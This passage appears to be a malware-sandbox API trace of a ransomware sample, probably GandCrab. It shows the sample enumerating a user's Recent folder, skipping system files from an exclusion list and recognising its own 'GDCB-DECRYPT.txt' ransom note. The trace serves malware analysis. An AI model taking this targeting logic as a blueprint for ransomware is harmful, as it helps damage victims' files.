dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.869] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.869] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.869] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.870] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\GDCB-DECRYPT.txt" [0054.870] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.870] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\GDCB-DECRYPT.txt") returned 98 [0054.870] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\GDCB-DECRYPT.txt") returned 98 [0054.870] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\GDCB-DECRYPT.txt") returned 98 [0054.870] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\GDCB-DECRYPT.txt") returned 98 [0054.870] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.870] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.870] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.870] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.870] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.870] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.870] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.870] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.870] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.870] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.870] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0054.870] FindClose (in: hFindFile=0x5b85f0 | out: hFindFile=0x5b85f0) returned 1 [0054.870] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.870] lstrcmpW (lpString1="CztjLRmT.lnk", lpString2=".") returned 1 [0054.870] lstrcmpW (lpString1="CztjLRmT.lnk", lpString2="..") returned 1 [0054.870] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="CztjLRmT.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CztjLRmT.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CztjLRmT.lnk" [0054.870] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.870] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CztjLRmT.lnk") returned 75 [0054.870] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CztjLRmT.lnk") returned 75 [0054.870] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.871] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.871] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.871] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.871] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini" [0054.871] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.871] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned 74 [0054.871] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned 74 [0054.871] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned 74 [0054.871] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned 74 [0054.871] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0054.871] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.871] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.871] lstrcmpW (lpString1="dWY3im-Jv_.lnk", lpString2=".") returned 1 [0054.871] lstrcmpW (lpString1="dWY3im-Jv_.lnk", lpString2="..") returned 1 [0054.871] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="dWY3im-Jv_.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dWY3im-Jv_.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dWY3im-Jv_.lnk" [0054.871] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.871] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dWY3im-Jv_.lnk") returned 77 [0054.871] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dWY3im-Jv_.lnk") returned 77 [0054.871] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.871] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.871] lstrcmpW (lpString1="E3nwHKKhrNc.lnk", lpString2=".") returned 1 [0054.871] lstrcmpW (lpString1="E3nwHKKhrNc.lnk", lpString2="..") returned 1 [0054.871] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="E3nwHKKhrNc.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E3nwHKKhrNc.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E3nwHKKhrNc.lnk" [0054.871] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.872] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E3nwHKKhrNc.lnk") returned 78 [0054.872] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E3nwHKKhrNc.lnk") returned 78 [0054.872] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.872] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.872] lstrcmpW (lpString1="e8jkSa.lnk", lpString2=".") returned 1 [0054.872] lstrcmpW (lpString1="e8jkSa.lnk", lpString2="..") returned 1 [0054.872] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="e8jkSa.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e8jkSa.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e8jkSa.lnk" [0054.872] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.872] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e8jkSa.lnk") returned 73 [0054.872] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e8jkSa.lnk") returned 73 [0054.872] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.872] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.872] lstrcmpW (lpString1="ea9JJ.lnk", lpString2=".") returned 1 [0054.872] lstrcmpW (lpString1="ea9JJ.lnk", lpString2="..") returned 1 [0054.872] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ea9JJ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ea9JJ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ea9JJ.lnk" [0054.872] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.872] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ea9JJ.lnk") returned 72 [0054.872] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ea9JJ.lnk") returned 72 [0054.872] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.873] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.873] lstrcmpW (lpString1="ExocxBlrLmuRHv.lnk", lpString2=".") returned 1 [0054.873] lstrcmpW (lpString1="ExocxBlrLmuRHv.lnk", lpString2="..") returned 1 [0054.873] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ExocxBlrLmuRHv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ExocxBlrLmuRHv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ExocxBlrLmuRHv.lnk" [0054.873] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.873] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ExocxBlrLmuRHv.lnk") returned 81 [0054.873] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ExocxBlrLmuRHv.lnk") returned 81 [0054.873] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.873] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.873] lstrcmpW (lpString1="FaqWpPUQVtLKuYdk9BQ4.lnk", lpString2=".") returned 1 [0054.873] lstrcmpW (lpString1="FaqWpPUQVtLKuYdk9BQ4.lnk", lpString2="..") returned 1 [0054.873] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="FaqWpPUQVtLKuYdk9BQ4.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FaqWpPUQVtLKuYdk9BQ4.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FaqWpPUQVtLKuYdk9BQ4.lnk" [0054.873] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.873] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FaqWpPUQVtLKuYdk9BQ4.lnk") returned 87 [0054.873] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FaqWpPUQVtLKuYdk9BQ4.lnk") returned 87 [0054.873] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.873] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.873] lstrcmpW (lpString1="FfJVg4ausPebvr1q.lnk", lpString2=".") returned 1 [0054.873] lstrcmpW (lpString1="FfJVg4ausPebvr1q.lnk", lpString2="..") returned 1 [0054.873] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="FfJVg4ausPebvr1q.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FfJVg4ausPebvr1q.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FfJVg4ausPebvr1q.lnk" [0054.873] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.874] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FfJVg4ausPebvr1q.lnk") returned 83 [0054.874] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FfJVg4ausPebvr1q.lnk") returned 83 [0054.874] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.874] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.874] lstrcmpW (lpString1="fh_ElomWjB6mGEzzsu.lnk", lpString2=".") returned 1 [0054.874] lstrcmpW (lpString1="fh_ElomWjB6mGEzzsu.lnk", lpString2="..") returned 1 [0054.874] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="fh_ElomWjB6mGEzzsu.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fh_ElomWjB6mGEzzsu.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fh_ElomWjB6mGEzzsu.lnk" [0054.874] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.874] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fh_ElomWjB6mGEzzsu.lnk") returned 85 [0054.874] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fh_ElomWjB6mGEzzsu.lnk") returned 85 [0054.874] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.874] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.874] lstrcmpW (lpString1="fNbs43ibSVs.lnk", lpString2=".") returned 1 [0054.874] lstrcmpW (lpString1="fNbs43ibSVs.lnk", lpString2="..") returned 1 [0054.874] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="fNbs43ibSVs.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fNbs43ibSVs.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fNbs43ibSVs.lnk" [0054.874] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.874] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fNbs43ibSVs.lnk") returned 78 [0054.874] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fNbs43ibSVs.lnk") returned 78 [0054.874] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.875] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.875] lstrcmpW (lpString1="FtUF9T.lnk", lpString2=".") returned 1 [0054.875] lstrcmpW (lpString1="FtUF9T.lnk", lpString2="..") returned 1 [0054.875] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="FtUF9T.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FtUF9T.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FtUF9T.lnk" [0054.875] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.875] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FtUF9T.lnk") returned 73 [0054.875] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FtUF9T.lnk") returned 73 [0054.875] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.875] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.875] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.875] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.875] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GDCB-DECRYPT.txt" [0054.875] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.875] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GDCB-DECRYPT.txt") returned 79 [0054.875] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GDCB-DECRYPT.txt") returned 79 [0054.875] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GDCB-DECRYPT.txt") returned 79 [0054.875] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GDCB-DECRYPT.txt") returned 79 [0054.875] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.875] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.875] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.875] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.875] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.875] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.875] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.875] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.875] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.875] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.876] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.876] lstrcmpW (lpString1="gKHCm2fwtZ_xFQId52k.lnk", lpString2=".") returned 1 [0054.876] lstrcmpW (lpString1="gKHCm2fwtZ_xFQId52k.lnk", lpString2="..") returned 1 [0054.876] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="gKHCm2fwtZ_xFQId52k.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gKHCm2fwtZ_xFQId52k.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gKHCm2fwtZ_xFQId52k.lnk" [0054.876] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.876] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gKHCm2fwtZ_xFQId52k.lnk") returned 86 [0054.876] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gKHCm2fwtZ_xFQId52k.lnk") returned 86 [0054.876] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.876] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.876] lstrcmpW (lpString1="GlwDigP8Jjnd5uC g.flv.lnk", lpString2=".") returned 1 [0054.876] lstrcmpW (lpString1="GlwDigP8Jjnd5uC g.flv.lnk", lpString2="..") returned 1 [0054.876] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="GlwDigP8Jjnd5uC g.flv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GlwDigP8Jjnd5uC g.flv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GlwDigP8Jjnd5uC g.flv.lnk" [0054.876] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.876] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GlwDigP8Jjnd5uC g.flv.lnk") returned 88 [0054.876] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GlwDigP8Jjnd5uC g.flv.lnk") returned 88 [0054.876] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.876] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.876] lstrcmpW (lpString1="gqOFi.lnk", lpString2=".") returned 1 [0054.876] lstrcmpW (lpString1="gqOFi.lnk", lpString2="..") returned 1 [0054.876] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="gqOFi.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqOFi.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqOFi.lnk" [0054.876] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.877] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqOFi.lnk") returned 72 [0054.877] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqOFi.lnk") returned 72 [0054.877] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.877] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.877] lstrcmpW (lpString1="HijnMp4jD.lnk", lpString2=".") returned 1 [0054.877] lstrcmpW (lpString1="HijnMp4jD.lnk", lpString2="..") returned 1 [0054.877] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="HijnMp4jD.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HijnMp4jD.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HijnMp4jD.lnk" [0054.877] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.877] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HijnMp4jD.lnk") returned 76 [0054.877] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HijnMp4jD.lnk") returned 76 [0054.877] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.877] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.877] lstrcmpW (lpString1="HkP-y.lnk", lpString2=".") returned 1 [0054.877] lstrcmpW (lpString1="HkP-y.lnk", lpString2="..") returned 1 [0054.877] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="HkP-y.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HkP-y.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HkP-y.lnk" [0054.877] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.877] wsprintfW 